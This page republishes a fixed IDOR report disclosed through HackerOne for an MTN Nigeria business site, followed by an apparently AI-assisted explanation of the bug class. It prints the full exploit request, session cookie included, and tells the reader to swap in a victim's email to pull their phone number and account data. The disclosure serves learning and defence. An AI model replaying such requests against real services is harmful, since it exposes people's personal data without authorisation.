Skip to content
IDOR Disclosed report Beginner

IDOR at mtnmobad.mtnbusiness.com.ng leads to PII leakage.

An endpoint that returns user notes accepted an email address supplied by the caller and returned another user's private account data. An attacker who knew a victim's email address could retrieve their phone number and account information.

hazemhussien99 Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 11 hours
  • Fixed in 2 months
  • Disclosed after 23 months

Summary:

Hello team, i found an IDOR at https://mtnmobad.mtnbusiness.com.ng/ that allows an attacker to enumerate data such as personal phone number and and account information justt from knowing the email.

The vulnerable request is the following:

POST /app/getUserNotes HTTP/1.1
Host: mtnmobad.mtnbusiness.com.ng
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 195
Origin: https://mtnmobad.mtnbusiness.com.ng
Connection: close
Referer: https://mtnmobad.mtnbusiness.com.ng/
Cookie: G_ENABLED_IDPS=google; connect.sid=s%3ATYGgZ8wqgEinB9zX0d7-OdZyt2jXa_ev.hQw0FOvTD5bB159jCtqA%2BXv7z%2FHROL%2B2vSS6mNK%2FqVg
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"params":{"updates":[{"param":"user","value":{"userEmail":"<PUT_VICTIM_EMAIL_HERE>"},"op":"a"}],"cloneFrom":{"updates":null,"cloneFrom":null,"encoder":{},"map":null},"encoder":{},"map":null}}

Simply replace the place holder <PUT_VICTIM_EMAIL_HERE> with the victim's email and you can see private data about his account such as phone number and account information, as you can see that's PII information being leaked.

Impact

PII leakage.

The original report as published on HackerOne, by hazemhussien99. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the server trusted the user-supplied email in the request body to choose which account's data to return, without verifying it belonged to the authenticated session.

What the attacker needed

An authenticated account; knowledge of the victim's email

How it was found

  1. Send a request to the user notes endpoint while authenticated.
  2. Replace the email value in the request body with the victim's email address.
  3. Observe the response containing the victim's phone number and account information.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

An IDOR (insecure direct object reference) is when a website looks up a record using an identifier the user sends, without checking that the user is allowed to see that record. Here the identifier was an email address, so anyone who knew someone's email could ask the server for that person's notes and account details. The server should have checked that the logged-in user matched the requested account.

What is IDOR?

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.

More by hazemhussien99

View all

2 more disclosed reports, best first.

More from MTN Group

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Insecure direct object reference (IDOR)

The lesson behind this report.

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.